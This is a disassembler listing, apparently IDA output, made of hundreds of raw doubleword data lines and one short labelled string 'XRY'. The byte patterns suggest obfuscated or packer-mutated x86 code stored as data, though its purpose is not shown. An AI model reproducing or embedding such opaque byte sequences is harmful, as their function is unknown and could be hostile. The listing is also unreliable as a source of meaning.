		dd 0E82538ACh, 0Ah, 7F819D15h, 9543C30Ah, 8D0F2C4Ch, 0
aXrys		db 'XRY',0Bh,0
		align 10h
		dd 0AB1533FCh, 0FDA791DFh, 0F8BA071h, 8Eh, 0E9F78B00h
		dd 13h,	0E5F2A002h, 9089A344h, 27FAFF5Ah, 1042712Fh, 81A351AAh
		dd 2A6093D7h, 14E9602Ah, 80000000h, 0A81DBD8Ah,	0A232E518h
		dd 870840EEh, 0B6894126h, 613846ABh, 8E9h, 367F9D00h, 0BF05BDC2h
		dd 11E907h, 0A2EF0000h,	0BC805189h, 0E13FAD42h,	7540B26h
		dd 0E98877C4h, 12h, 0DA0D2587h,	0B2EFACF9h, 0A9414662h
		dd 0F2F09B3Ah, 23B14595h, 28E0Fh, 0E78A0000h, 0FE9h, 27D09B00h
		dd 6D547945h, 0A3D09778h, 0A17E19B5h, 3840F60h,	80000000h
		dd 8166E2C2h, 611C0CEFh, 743232BFh, 98B9B90Ch, 8C0F4C18h
		dd 0Ah,	4870Fh,	0BF660000h, 8166568Eh, 81FC5BF0h, 0A66CA7C3h
		dd 12E96Dh, 82700000h, 0E691DC40h, 0C0802570h, 10C602BCh
		dd 8484EFAEh, 8F0Fh, 30B50000h,	0FF88B66h, 8C0FD2BFh, 3
		dd 8BD1BF0Fh, 0BAC880F3h, 0E8DA8B66h, 0Ch, 5112A638h, 50F30C3Bh
		dd 0D161B2BCh, 0DE0850BFh, 0CE85F12h, 44000000h, 0F0E5A6E5h
		dd 1181F75Ch, 0E93F7DA7h, 5, 288E479Fh,	0BF0F5F01h, 0D9B70FF6h
		dd 8E0FC78Bh, 5, 1C34AFB8h, 66CF8B78h, 2B38C681h, 57F68060h
		dd 61F9F681h, 0E8611F88h, 11h, 150450CBh, 9A9B9456h, 61081AA0h
		dd 8F054DCFh, 3EEE8108h, 5F56F803h, 11E9h, 33D67D00h, 1AAB0AD7h
		dd 651212A1h, 18B3DBF3h, 0BB66B006h, 0E1814C8Eh, 5D971877h
		dd 14E9h, 9B33DA00h, 25CD8C6Bh,	0F9E4BDDBh, 0BC9CEE46h
		dd 5662A25Eh, 81FE8BBBh, 2453E0E8h, 0B6FE8B33h,	0CB8665Ah
		dd 6C1814Dh, 51499C49h,	5AD0BF0Fh, 2880F52h, 60000000h
		dd 0BF0F5861h, 0AE960D2h, 5A000000h, 0D28146A2h, 4BE24048h
		dd 8E96119h, 12000000h,	2CF574BCh, 0FE78B98h, 38Fh, 0FCF08000h
		dd 8BF5FD8Ah, 58D0FD1h,	66000000h, 0F97DC181h, 1870Fh
		dd 8BF80000h, 81CBB4FEh, 23625DFh, 0CD62B940h, 8166472Fh
		dd 606AD3EEh, 0BE8h, 4737C800h,	0CBA81656h, 9CECFFBCh
		dd 8A595B52h, 0CB8061DDh, 0DF8BFC6Dh, 6660FA8Ah, 0BA66C68Bh
		dd 0E961ECFEh, 0Fh, 419F8AEAh, 954F37C0h, 647A5330h, 81FD1712h
		dd 5D6C3BD1h, 0B70FF521h, 0FFCF8D1h, 0C8Ch, 7E900h, 0C0720000h
		dd 3888923Eh, 2810F91h,	8B000000h, 5E9D3h, 2F0000h, 0B964669Bh
		dd 6F267F80h, 6672B0F9h, 0E957CA8Bh, 11h, 0B10E96Ch, 0CE39F60Eh
		dd 102D1742h, 3C25D44Fh, 0B70F5F46h, 0E5BE66C8h, 96DD80E2h
		dd 0D3B70F57h, 0BAF78B58h, 8312ADCh, 11E8h, 20942500h
		dd 0C9E5A942h, 5841C7EAh, 5FD20EEFh, 890F2720h,	3, 5E4FF780h
		dd 0A7AD93BAh, 48BA662Ah, 7E960A8h, 49000000h, 0E59EB0C8h
		dd 42BB5F78h, 613CA216h, 0E9F1B70Fh, 10h, 16EC387h, 0D41B1418h
		dd 1D2A2DE1h, 0E11B67Fh, 0A9F8E781h, 6060594Fh,	0E891E780h
		dd 12h,	0A80CA298h, 6C50C3D1h, 2E09BB0Dh, 575F5FD7h, 61597EC8h
		dd 13E9h, 38FCC500h, 74A7A215h,	577068B6h, 0ACDDFF73h
		dd 0E187D913h, 0AE9F561h, 43000000h, 0DB188EF7h, 4AFF6AE6h
		dd 0CF8B66FBh, 6880Fh, 0EA810000h, 67ABEE25h, 8F0FBDB0h
		dd 5, 19E78166h, 0B866601Ch, 11E87485h,	0A0000000h, 7E045FCh
		dd 8A8BBDC0h, 47405356h, 4A9B64C9h, 666159F5h, 0E973B0BEh
		dd 0Ch,	0D0C351CAh, 0D59A9E5Fh,	606FE1C6h, 5E9h, 510AE500h
		dd 0CE9FB83h, 67000000h, 57D1D48Bh, 1B5FBDAh, 8BAFC115h
		dd 816660FAh, 0FACAFC7h, 58Fh, 0D6816600h, 0BB61121Eh
		dd 59DD486Ah, 2870Fh, 0DC8A0000h, 0FE9h, 0A228D900h, 0FB004FFCh
		dd 0DDBDCA5Bh, 4EF80CD2h, 14E9h, 1F4BF800h, 8F2495CBh
		dd 1D95DA31h, 24036B30h, 0B58A086Dh, 3EE81FAh, 6066DBBEh
		dd 0FF1BF0Fh, 487h, 0C1BA6600h,	0F606157h, 8166FBBFh, 61ED93C1h
		dd 0EE9h, 0D09E7500h, 6EA06E20h, 0E5475C20h, 575F7D87h
		dd 3BB1F281h, 0B55B1F26h, 850F8Eh, 56000000h, 5BF1B70Fh
		dd 0AC61B966h, 81BCD580h, 0EEF304CEh, 0F7B70F65h, 18C98166h
		dd 0BBF6646h, 66D08B51h, 8166D08Bh, 0E9B4E6EAh,	8, 3609B3FAh
		dd 0F3F6F8E4h, 9E9h, 6EF9FC00h,	5693C59Fh, 8166E7AAh, 0E9942AE7h
		dd 8, 1250E9ACh, 0B60C2ABh, 4F32B966h, 190AD781h, 12E930EDh
		dd 0F000000h, 6E49C093h, 6F56BE2Fh, 2B16EBCFh, 0D1AB17D0h
		dd 0D1BA66FCh, 4742BE3Dh, 0B70F6705h, 5CC980D6h, 52F5DC8Ah
		dd 5F58F553h, 13890Fh, 0EE90000h, 6C000000h, 0DD7B0844h
		dd 405F3270h, 7753DBD3h, 0C68166D1h, 0FE86494h,	82000000h
		dd 0AF39C932h, 1DAB0340h, 59FB0EF6h, 9E92B6Dh, 61000000h
		dd 0C4B6E833h, 0EEE48CF4h, 3830F5Bh, 0F000000h,	0BF66C1B7h
		dd 0B70F2B93h, 0FE9FCDBh, 73000000h, 0CC9D0E80h, 6F6C4AC6h
		dd 0C5525A85h, 51F5D0A8h, 0DE9h, 99717400h, 784EBC2Ch
		dd 464AC0FEh, 0F5AC0F9h, 0EE81D0B7h, 43997813h,	11E9h
		dd 6EE9F200h, 81DFDB8Fh, 0AA412929h, 0CDA16FA8h, 0C68B80E8h
		dd 36CB8166h, 6683B676h, 0F5CCABBh, 0B866C3B7h,	8B660C5Bh
		dd 0C38053D1h, 8B665925h, 0FE8F7h, 4A780000h, 7A2FAA6Eh
		dd 47BCF338h, 0F48AF105h, 0E6B866BAh, 0C0815BEBh, 36DF51B8h
		dd 8B0FF88Bh, 0Ah, 0D78B6660h, 0DDA8C8BFh, 8B666108h, 0F081F5D0h
		dd 61093AD4h, 6642C080h, 0C7FED181h, 8F0F53FCh,	4, 0A962B866h
		dd 0EE9605Fh, 0A3000000h, 1D9FF66Ch, 577F0442h,	2BF0EAE8h
		dd 0D7BA665Ah, 8A606167h, 6199B0D7h, 3860Fh, 0D4800000h
		dd 8E943h, 0AE8A0000h, 29AF5801h, 0B70F8FDFh, 138F0FCBh
		dd 0E9000000h, 0Eh, 2B87B378h, 5DE694D3h, 20DCA17Ch, 8B668ABAh
		dd 0D0BF0FC2h, 6E8FB8Bh, 0C4000000h, 83F19C39h,	0CE81665Bh
		dd 0F597ABCh, 28Ch, 0E9CF8B00h,	12h, 0CAB3CDFAh, 4BB03B65h
		dd 0EC02F2D7h, 85FEAB1h, 800FD88Ch, 0Dh, 8E9h, 0BE774A00h
		dd 6CC6966Eh, 0F181662Bh, 8F0F692Ch, 0
		dd 3870Fh, 8B660000h, 0D0BF0FF2h, 0FC2D5FBBh, 8166F80Ah
		dd 60E005D7h, 9E9h, 73FA7300h, 2A84D510h, 8D0FD58Eh, 0
		dd 271FBA61h, 8F0F150Ah, 10h, 0BE9h, 3CDF6000h,	0D318D640h
		dd 0FD8D2F53h, 0A0C78166h, 0B8B0F1Ah, 60000000h, 31D8F081h
		dd 0EE8029FBh, 92B26156h, 11E8h, 4D325E00h, 2CDD7FCAh
		dd 0C445A8C0h, 3CBE553Dh, 0F5EDAB1h, 8166C6B7h,	66BB9AD9h
		dd 840FCE8Bh, 2, 0FCF5FD8Ah, 0BE8h, 96BB9400h, 6501A5C9h
		dd 8465AD20h, 5AC3CF80h, 3870Fh, 8B660000h, 0F5E880C3h
		dd 5870Fh, 32BB0000h, 0F12CEAAh, 1E8Ch,	13E800h, 20CF0000h
		dd 0ABB7E5F7h, 7760BE31h, 5DDE5354h, 0CA1999E4h, 0AB4CBE83h
		dd 0BE58471Bh, 5FFB3F60h, 0E95BF553h, 13h, 1F250990h, 0AFB65525h
		dd 38BEB907h, 0E73AEDF7h, 0BA662D25h, 10FC7DBFh, 8160D68Bh
		dd 0BC4B4EE2h, 8B536161h, 665759C8h, 5E0C63B9h,	5AE7C681h
		dd 19B85B23h, 0F71F2DEh, 8Eh, 9E800h, 4D5B0000h, 9AE2A9D9h
		dd 6623DE81h, 0F5FC28Bh, 8B66CEBFh, 0D88B66D7h,	11E95260h
		dd 0EB000000h, 9BF6500Dh, 3C8384CCh, 0CE08C104h, 8FABE523h
		dd 61F0B25Fh, 5BFE8B57h, 6850F53h, 0F000000h, 8Eh, 0F98B5900h
		dd 68D0F60h, 81000000h,	0D1B67DE8h, 0EE86176h, 0E000000h
		dd 818A0CC4h, 0A859F2Eh, 0F64B81F1h, 0BF0F5E3Ch, 0CF8B66CFh
		dd 0E8DA8B66h, 0Dh, 373B5268h, 450039E0h, 6F729BACh, 2830FABh
		dd 8B000000h, 0BF665BCFh, 0F580EA92h, 0B810FB6h, 60000000h
		dd 840Fh, 0EF800000h, 5E96110h,	8C000000h, 19FBCED0h, 11E9h
		dd 0BA334B00h, 79B958DBh, 0A4920250h, 0C08B630Dh, 81665011h
		dd 0F74B8F2h, 88h, 8B666000h, 5E861D0h,	0E2000000h, 0A65E189Bh
		dd 97D38166h, 10E85FC9h, 0E5000000h, 3A8CE2B3h,	0ACFBD360h
		dd 0DBA24171h, 66B88320h, 0E95BD98Bh, 5, 6E91F477h, 0FE9C7h
		dd 49B30000h, 0F0AA32Fh, 1AE8A716h, 30B78440h, 5E845h
		dd 49380000h, 663092F6h, 1FBCC881h, 0F9C88B5Bh,	4820Fh
		dd 0B3600000h, 80F9613Bh, 8B6615C0h, 14E8D8h, 79240000h
		dd 2EA8A3D5h, 0B9BE4840h, 0A558E777h, 5E098BEAh, 0F78138E5h
		dd 482EC9B2h, 9ECD805Fh, 3830Fh, 0C6800000h, 28B0FC8h
		dd 0B0000000h, 0FE8D4h,	91750000h, 2E850BFDh, 0FE1B161Bh
		dd 0CB8E0801h, 2735BFAAh, 605A7904h, 55CA8166h,	5E5152A6h
		dd 0B8F9615Ah, 7EF73F66h, 9E96050h, 37000000h, 7AAF5353h
		dd 208AA5B8h, 860Fh, 5E610000h,	0ADCF8166h, 0CB8B6633h
		dd 0BF0FE68Ah, 0F0BF0FF3h, 12E9h, 7F286C00h, 0F3ED26EBh
		dd 0D14BBAC3h, 0EC9CFE1Ch, 0E9DD1B8Bh, 0Dh, 9422F9C8h
		dd 3CD55877h, 23891496h, 14E80Eh, 81100000h, 0B9E6F874h
		dd 87FB7C8Fh, 3E622A3h,	93E2B8F1h, 0BAB9CFC5h, 5A4CBC5Bh
		dd 6AAEBB66h, 11E9h, 60EC4300h,	75B66B95h, 33B97275h, 35C4FDA0h
		dd 15BEAC42h, 0F620FF4h, 138Ch,	0EE900h, 3D540000h, 4B77FDA5h
		dd 744E005Ch, 0AB2F018Fh, 13E9h, 8A647200h, 0EE08E1C9h
		dd 802C9DAEh, 90AC6CC1h, 412A9947h, 0F5F18B66h,	4DD98160h
		dd 6602D32Ah, 0E961D78Bh, 0Fh, 0D8560184h, 197F269Dh, 3081B480h
		dd 0E941E02Fh, 7, 0DD689975h, 0FD0BDEFh, 582h, 60F86000h
		dd 0B70F6161h, 10E9FCDBh, 89000000h, 0ABF5ED68h, 0C2B3C5FFh
		dd 36615198h, 0F6B1C0Ch, 8Ch, 6AE88100h, 66219397h, 663597BFh
		dd 0FC7F0B9h, 148Ch, 0FE900h, 0E8EE0000h, 77C700ABh, 73B01335h
		dd 6B61CC66h, 0C6B70F82h, 18F0Fh, 8BF50000h, 0CEB70FD0h
		dd 0C781F6B6h, 343D1897h, 6651F08Bh, 0B013C081h, 0B2D08058h
		dd 7E960h, 0D71D0000h, 0A70BC7C4h, 2840F07h, 8B000000h
		dd 0DE961CBh, 0A1000000h, 71B43060h, 795305D9h,	56E24DDAh
		dd 22C78166h, 0F7B70F68h, 0FDFBF0Fh, 58Ah, 0DB816600h
		dd 8166FF59h, 0E9D2A9E3h, 7, 4F219F1h, 52BE742Fh, 4860Fh
		dd 0BB660000h, 665B0745h, 0E97A89B9h, 7, 0F08E1FE8h, 66B6B44Fh
		dd 0AE7FEF81h, 0CAE08166h, 0FFD8ADEh, 1385h, 0EE900h, 0C7FE0000h
		dd 80A1F895h, 0A5BA5D6Ch, 1926CFF4h, 0B70F5DB1h, 0CA80F5D8h
		dd 5E91Dh, 50780000h, 662604CBh, 0EB81C88Bh, 75458108h
		dd 5035C380h, 0F48AF959h, 12E8h, 0E1B07100h, 0AE021431h
		dd 4DC8DC49h, 85901AD8h, 8A4BB705h, 10E859FCh, 0E000000h
		dd 0FCAF6546h, 0F4C088CAh, 0FD4B66F8h, 80F6D38Dh, 8B5E37E4h
		dd 8B6660C6h, 14E8FAh, 41430000h, 0EF7BC23Ch, 0AF010F0Bh
		dd 4DE17498h, 735F9B77h, 0F9B41767h, 0EE9615Eh,	58000000h
		dd 0D897B097h, 0C5BFD3A4h, 0D10A6573h, 68B0FCDh, 81000000h
		dd 284A43DEh, 0E605B80Ah, 6DBB6262h, 0F85696F1h, 5FF18B53h
		dd 8C0F60h, 61000000h, 61C38166h, 0DE80563Dh, 10E95A67h
		dd 0DE000000h, 29B74385h, 0DDE124F7h, 1CB7B6Eh,	0E831F553h
		dd 14h,	0FFED7AF2h, 797D1197h, 0D643AE5Ch, 58B12AE9h, 0D239A23Fh
		dd 0E2A2BB66h, 0BE859h,	0B5EC0000h, 0CF5B1ECCh,	42F5EA27h
		dd 0EE8166ECh, 8058DAA5h, 0D18B26F6h, 0F86DD980h, 7E8h
		dd 320E0F00h, 0B8B8F71Dh, 75B35BF9h, 8E8h, 0C7956400h
		dd 4DEBDC32h, 0D8BF0F69h, 0E9ABB75Fh, 0Bh, 342CD1FBh, 3CFBC3C2h
		dd 0F94835Ch, 66F8F6BFh, 0F6829B8h, 0B89h, 5E800h, 4BE20000h
		dd 5FFE8419h, 0F726BEF9h, 0E96043E5h, 0Ah, 0C0DEF6Dh, 0BEC0F29Dh
		dd 870FF7E1h, 1, 0E98061F8h, 0BE6651CAh, 665B20D9h, 0BF1718B8h
		dd 58860450h, 0F7BF0F56h, 0CE958h, 11810000h, 0B13F7DA7h
		dd 604CA9DBh, 8E99635h,	59000000h, 10C311A5h, 0E9F88585h
		dd 14h,	9E6ACF88h, 8D46E6BFh, 70D8532Eh, 6E81CA67h, 0AD2A1D37h
		dd 8BF85A51h, 0DE8B66FEh, 7E8h,	92B4BB00h, 909EB5F6h, 59D0BF0Fh
		dd 38C0Fh, 0EB800000h, 4EF81AFh, 81730AD8h, 0BE3F68EAh
		dd 0DA81665Ah, 0B9B94696h, 0FC7ED29Ah, 0E8A0DC80h, 0Ah
		dd 0EFDD6899h, 2FC9D0BDh, 0CEB55423h, 0E7D9815Ah, 0B80815EDh
		dd 5B0194BFh, 8CD222BAh, 8D0F7Dh, 66000000h, 81FF8DBFh
		dd 231E54D0h, 12C7807Fh, 11E8h,	41330800h, 3684110Ch, 34D50029h
		dd 9752ECF5h, 800F034Ah, 6, 850Fh, 0F580000h, 880FD6B7h
		dd 6, 7AB96651h, 0BB665F83h, 8B663EF6h,	11E9C8h, 0EBC0000h
		dd 858DA7E1h, 57BC6330h, 4003671Fh, 66D65B17h, 870FCE8Bh
		dd 12h,	0DE9h, 225B9300h, 0A2E0FA2Eh, 70338984h, 0CEB2CE48h
		dd 609DDD80h, 0BE8F9h, 0ED460000h, 0AFC76813h, 3BE0694Eh
		dd 5E8ADh, 0CB60000h, 5EFB9A9Ch, 8B0F615Bh, 1, 0F61B6F8h
		dd 8B66C6B7h, 10E952DAh, 0FC000000h, 304CD976h,	0A731D200h
		dd 0C1F284DDh, 5E02776Eh, 50D68166h, 0FB6B56Fh,	284h, 8BDF8B00h
		dd 0CE8CFh, 50D10000h, 7C7BB96Ah, 53277EA7h, 6E9FD83h
		dd 0A6000000h, 410E5CD9h, 7E95E21h, 8F000000h, 6C3446AFh
		dd 0B70F6AB1h, 0FE9FEh,	909D0000h, 83DBA38Eh, 0BE032505h
		dd 0C1D975C2h, 9E90Bh, 8AC0000h, 2A0B0CF3h, 0F80C98Bh
		dd 0BF0FFBB7h, 0DE8D7h,	10AB0000h, 3B0AC7DDh, 0ED7CC94Fh
		dd 57EF44E1h, 0BE9h, 0E138F800h, 0EDC6C929h, 0A152BE93h
		dd 0AE95A5Eh, 72000000h, 5F605659h, 0F07656Eh, 0FE9CDh
		dd 42250000h, 72C7553Ch, 9CAB34E3h, 0C011A0Bh, 0F4B96651h
		dd 0A4E08163h, 6038DB9Dh, 6626F380h, 0B861C88Bh, 2A8079C6h
		dd 12E9h, 69AAD800h, 0E55712A4h, 4BEC5CD7h, 58DBBA33h
		dd 0E95079B9h, 13h, 0B1141E2Fh,	455EE902h, 0FD1555FAh
		dd 8293B167h, 0E9B675D1h, 0Fh, 4F9137F2h, 27839D4Fh, 620C9C1Eh
		dd 0B2AD8A10h, 66CA8BEAh, 0A2FBC281h, 5860Fh, 16BE0000h
		dd 0F6B10D9h, 48Fh, 73BA6600h, 48F0F29h, 66000000h, 564DB5BAh
		dd 0E95AF38Bh, 0Fh, 508B536Fh, 0F308AC44h, 8B2A0B0Ch, 0F8480C9h
		dd 0F57D7BFh, 689h, 36C38100h, 5F6E2A44h, 0FC9ECA80h, 66FAB70Fh
		dd 77C3D681h, 0BE66E1B3h, 0E8F82097h, 7, 110F9B47h, 66A78C85h
		dd 5AADC4B8h, 0FB7E880h, 58Dh, 50F96000h, 6E9615Bh, 0AB000000h
		dd 45839B0Bh, 6BB660Dh,	0B5B966A6h, 66F78A62h, 0E80BD081h
		dd 0EE819B1h, 18000000h, 8A4273CCh, 0E6BC8467h,	0AB6F6F5h
		dd 87B86644h, 8F0F5A06h, 18h, 13E9h, 209D5A00h,	6E2100F5h
		dd 97D27697h, 0CE0DD1CAh, 0A3C49CEh, 0CF8BD98Bh, 0C78B6660h
		dd 0E861E58Ah, 5, 24384504h, 7E940h, 326E0000h,	0C63B633Dh
		dd 0C281597Fh, 737BB08Bh, 5880Fh, 0F570000h, 525AFABFh
		dd 6850Fh, 0E7810000h, 4082DB95h, 0F3BF0F5Ah, 0E9F1BF0Fh
		dd 0Fh,	0FF0CE77h, 0B72DDC1Ch, 785AEBE3h, 0F5E989AAh, 5E9h
		dd 65E95B00h, 0F78A1358h, 9AFEF181h, 0C38B352Ah, 5E8h
		dd 97F7C200h, 870F33D9h, 1, 0B70F5FF9h,	11E9C1h, 7BDD0000h
		dd 48D5FC90h, 301CC3BDh, 9F6096B0h, 6022FCC7h, 0E861DA8Ah
		dd 0Eh,	0D499129h, 0F88E97B6h, 0EB9789F0h, 8B0F837Eh, 6
		dd 840Fh, 8B5A0000h, 816660C6h,	52CDB5F2h, 0FE8h, 1811D800h
		dd 0E7E91D04h, 6016DEAAh, 2598F61Fh, 66615A59h,	0C2FDCB81h
		dd 12880Fh, 890F0000h, 0Ch, 7E9h, 264FF200h, 881C7B99h
		dd 86BABB66h, 0FE950h, 66F30000h, 0A12F574Ch, 57389E0Dh
		dd 217ABEEBh, 890F5BA0h, 19h, 14E9h, 0E656D700h, 7FCBD97Fh
		dd 0F7C22014h, 4033D997h, 0AD6BDA67h, 20870F4Eh, 0E8000000h
		dd 14h,	19BFF7FAh, 6591CD40h, 2E28B5B0h, 0ED281AC0h, 676743B5h
		dd 1226C181h, 665914EEh, 0C336CE81h, 0BE66FCh, 5860FE9h
		dd 66000000h, 0A703F381h, 8166F38Bh, 662139C3h,	0FE8FA8Bh
		dd 0D2000000h, 2C8061B3h, 2388A375h, 629F15BFh,	8166D731h
		dd 5FC41AE8h, 0E9BFE58Ah, 0B8291DC5h, 1FEE0F84h, 13E9h
		dd 91011900h, 3D7FEAD1h, 0F61C49EEh, 99AF88CFh,	0F4B7A842h
		dd 0E79CB5B8h, 0B9665728h, 80582C2Dh, 0FA8A09F2h, 48D0F57h
		dd 66000000h, 5A79C0B8h, 68A0Fh, 0C3810000h, 76C74786h
		dd 0BF0F5253h, 0E95F59D1h, 0Ah,	3C863ECCh, 652915B9h, 6E92A98h
		dd 66000000h, 0DF7C53B2h, 2DDE8178h, 0E8304F70h, 7, 0A33EB3E1h
		dd 5936808Bh, 0EAC38160h, 0E96B3AF6h, 9, 4C12631Eh, 6DDEA323h
		dd 8B66612Ah, 11E9DEh, 49090000h, 0AC047915h, 49B13DC8h
		dd 0F2B45B6Dh, 667DBC91h, 0E90D5CBEh, 13h, 70E7DF51h, 0B69EE33Ch
		dd 0DC80B1E2h, 0F9248FD1h, 0F9ADC706h, 8BF7BF0Fh, 0B866DFh
		dd 5EF8564Bh, 14E9h, 57E29400h,	9EF62DF5h, 83E06193h, 82940FF8h
		dd 316DAFFCh, 4860FA8h,	66000000h, 0E8459CB8h, 0Eh, 0FA1377B5h
		dd 0CBCFCF13h, 0D9AE1265h, 6FB48D54h, 0C68B6058h, 3DB86661h
		dd 6EF38192h, 0F3865D4h, 72B5FEB7h, 5890Fh, 97BF0000h
		dd 0B76B7901h, 0EE8166CCh, 8E82B99h, 0C000000h,	0C437CF6Bh
		dd 66D20927h, 9B03DB81h, 58E0F59h, 66000000h, 0C680D681h
		dd 0E9C0B70Fh, 12h, 7F40DB82h, 0BAEEFCB3h, 0B3D13848h
		dd 0AE3508AEh, 820FB17Ah, 6, 0E438CA81h, 0F577339h, 81h
		dd 0AE85F00h, 59000000h, 902F20D7h, 482C4580h, 9AF3816Ah
		dd 5F5A7D7Eh, 3EE98166h, 8DEB8034h, 18B0Fh, 8AF80000h
		dd 7E9F8h, 889D0000h, 870515EDh, 0FE95Dh, 0D80B0000h, 4BAB4138h
		dd 6D4BF680h, 0AD5AAE55h, 50F281C7h, 0F632537h,	485h, 7FBF6600h
		dd 0EE941h, 98BE0000h, 0F0D00E5Dh, 8A406011h, 96CF647Dh
		dd 0F8DE8B66h, 0CBC78166h, 5870FD6h, 0B9000000h, 63271906h
		dd 46EE8166h, 0F779BA92h, 820F45A2h, 0
		dd 0B43DF181h, 7E9565Fh, 0DE000000h, 9259F66Eh,	0EE83C69h
		dd 3B000000h, 108712B4h, 534381B9h, 24D1431Fh, 0D9B70F8Bh
		dd 0E0C3815Ah, 666B9FC5h, 0FF9CE8Bh, 0CE9FBBFh,	0D3000000h
		dd 39C65DA0h, 0C042C17Eh, 0FCA0006Eh, 8166F38Bh, 668357D9h
		dd 12E8CE8Bh, 0D6000000h, 0AB0AD733h, 1212A11Ah, 0B3DBF365h
		dd 0ACB00618h, 8C0FD4h,	5A000000h, 0CF1EB966h, 5BE981F5h
		dd 816E3067h, 243DBEC3h, 0C1BF0F03h, 0FF2BF0Fh,	181h, 8D0FF500h
		dd 5, 0DC68166h, 0E9C68A64h, 10h, 1D0FD75Eh, 0EFEC40F2h
		dd 96A35B72h, 0A0CAA421h, 9C23EB81h, 11E83326h,	45000000h
		dd 0A2361FA0h, 0EB21C78Ah, 3B6E9D10h, 0AC0F0023h, 8F0F60h
		dd 0B8000000h, 2E80667h, 8A0F5E61h, 5, 313031B8h, 0AE972h
		dd 8A840000h, 25C916E9h, 1BB06BDFh, 0EE9h, 10DC3100h, 26883064h
		dd 0C73288BCh, 665203D9h, 8166F98Bh, 0BF27D9C2h, 4C781280h
		dd 8166C18Bh, 0FE731D7h, 38Bh, 0F0BF0F00h, 0D2B70FF9h
		dd 0FE9h, 0B8A28C00h, 9553A13Dh, 4834821Ch, 76BBB462h
		dd 8166FA8Bh, 66E248E0h, 66EACDBEh, 0B329D881h,	66D8B70Fh
		dd 0F1C53B9h, 90B7CFB7h, 0A890Fh, 870F0000h, 4,	3AD3B866h
		dd 66C7B70Fh, 8B27FAB9h, 11E8CEh, 0CA720000h, 0BC69122Eh
		dd 74EFDE15h, 0F629A4FEh, 0E96BC3B2h, 10h, 4BB20E8Fh, 32F77749h
		dd 0E3498F2Ch, 0C00DDB15h, 7E95Fh, 84290000h, 0C3F4D90Eh
		dd 0E8FA8B85h, 0Dh, 2FC8FEB0h, 0DF530368h, 0C3B3F489h
		dd 0EE960FAh, 0A4000000h, 8B7C3F52h, 489FBB0Bh,	0D6305267h
		dd 5F61F948h, 8151F180h, 0EF46A9CBh, 14E80Ch, 0FAA80000h
		dd 0A75C00DAh, 0EE0FD29Eh, 9A46ED8Bh, 0E77D1FEDh, 0DE8677Eh
		dd 21000000h, 0E7626D86h, 25FD735Dh, 0E644128Bh, 5E5E5852h
		dd 666160F5h, 465CE781h, 50C88B66h, 0C52F02BEh,	850F5B41h
		dd 10h,	0A890Fh, 5E90000h, 0B8000000h, 0BAA35F4Bh, 8D0FD68Bh
		dd 6, 0C09C081h, 8B660495h, 0D88B66C2h,	56D6EA80h, 10E9h
		dd 0F5FD4300h, 80F5A03Bh, 0A498BF70h, 4B9D0793h, 9E85F42h
		dd 3D000000h, 213E4135h, 22706DBCh, 0A1BE6650h,	0F595BBCh
		dd 0EF80FFB7h, 0C9E08155h, 0F91BE1DDh, 8B666060h, 0BA6661F0h
		dd 0B0614B87h, 10E9FAh,	0C4950000h, 5C66030Dh, 5812372Dh
		dd 47002B66h, 2BB53209h, 0D3E748B8h, 0BF0F6017h, 640CBBC2h
		dd 66615DACh, 5BBCEB81h, 0EE9h,	1720AF00h, 0D6C09A3Bh
		dd 706C0598h, 80D47F8Bh, 810FD5D2h, 2, 53BBC28Bh, 8174F1DBh
		dd 82B1C1F6h, 860F6026h, 5, 0EB8C0DB8h,	8166613Dh, 66D941D3h
		dd 0E58AD98Bh, 7F57FBBFh, 0D3816600h, 49B18829h, 3DE98166h
		dd 0E8F88B12h, 11h, 0E40C3E92h,	53C7DC6Eh, 0C87E0EA3h
		dd 1BE959AFh, 0C78B66ABh, 0FC68B5Bh, 1784h, 11830F00h
		dd 0E8000000h, 0Bh, 0E6402C5Dh,	15E65CB1h, 5FF2BBC0h, 0F46CBA66h
		dd 0C8BF0F60h, 1870Fh, 61FC0000h, 0FD6BF0Fh, 80h, 8E900h
		dd 346B0000h, 5CD2CD33h, 0C7807AD9h, 0F78B6609h, 890F6060h
		dd 0
		dd 8F0Fh, 61610000h, 6ED480F5h,	6E8h, 0DBE55300h, 0B4E24B7Dh
		dd 0E95358B6h, 5, 9262C634h, 0B7F559C4h, 0B866FC3Bh, 0C9809936h
		dd 10E95178h, 2F000000h, 27693FE5h, 3DF44354h, 8CC93F05h
		dd 5BAD262Bh, 4870Fh, 0BB660000h, 0EE9EE34h, 9C000000h
		dd 0A4533AB1h, 6F11992Ch, 0B6329110h, 12E96Eh, 37450000h
		dd 0ED67993Ah, 0AC10346Ah, 96191DB4h, 0A10E20Fh, 0C38166F8h
		dd 9E96503h, 9A000000h,	6C7455D3h, 0E27F3F1h, 60CB8B66h
		dd 0DE9h, 9DCABB00h, 0DBA38E90h, 3250583h, 6061C2BEh, 0DB9EB866h
		dd 2880Fh, 0D88B0000h, 8ADA8B61h, 7132B8C7h, 8B667CECh
		dd 0FAE281DEh, 0BF1CBDCDh, 11DF713Dh, 0A91BBF60h, 14E8181Eh
		dd 0A5000000h, 39F8BD87h, 0C29CD4A8h, 247DCA1Bh, 134EB9F7h
		dd 60389AC3h, 0E8615861h, 5, 0A1ED3C3Ah, 8E0FE3h, 5B000000h
		dd 74D38166h, 0C38B6069h, 8061CE8Ah, 0D8800CC0h, 14E9E4h
		dd 0B2ED0000h, 0BBECAC68h, 0A361148Eh, 0EB00DF54h, 0FDD21441h
		dd 13E8B00Eh, 7000000h,	8E949B5Eh, 0C7D5259Fh, 737492F2h
		dd 0C6CA1A6Ah, 0BF0F8928h, 8B605AF2h, 7E9C6h, 83BE0000h
		dd 4694733Eh, 0D6816113h, 27075165h, 7E9h, 765D9000h, 97EB1B8h
		dd 0FE9h, 0B8FA9600h, 93D35825h, 6948C144h, 2FDD286Ah
		dd 5860Fh, 81660000h, 818134F6h, 4FD36AD3h, 11E8F52Bh
		dd 96000000h, 8AF858E4h, 175B0605h, 2C8AD98Ch, 1CFBE3C7h
		dd 81665EF5h, 0F5965DEh, 1088h,	0BE900h, 0C2C00000h, 0A9CBE3D7h
		dd 0ACF28DCh, 0F6BF0FB3h, 6678F681h, 0EE91EFCh,	35000000h
		dd 1384DC65h, 886214D1h, 31D0B5E8h, 0BCBE66D5h,	8E8BFh
		dd 24520000h, 0EEEA0692h, 0BE660738h, 665AB76Ah, 808845B8h
		dd 0B4FCD1E2h, 12E930h,	0B4F00000h, 5BEBA2B1h, 0CFD8485Ah
		dd 1162BFBAh, 46F18902h, 10E960h, 5CCE0000h, 0ED6F24F5h
		dd 6E6F8FA2h, 26501D75h, 8B662774h, 0B70F61C7h,	93D881DAh
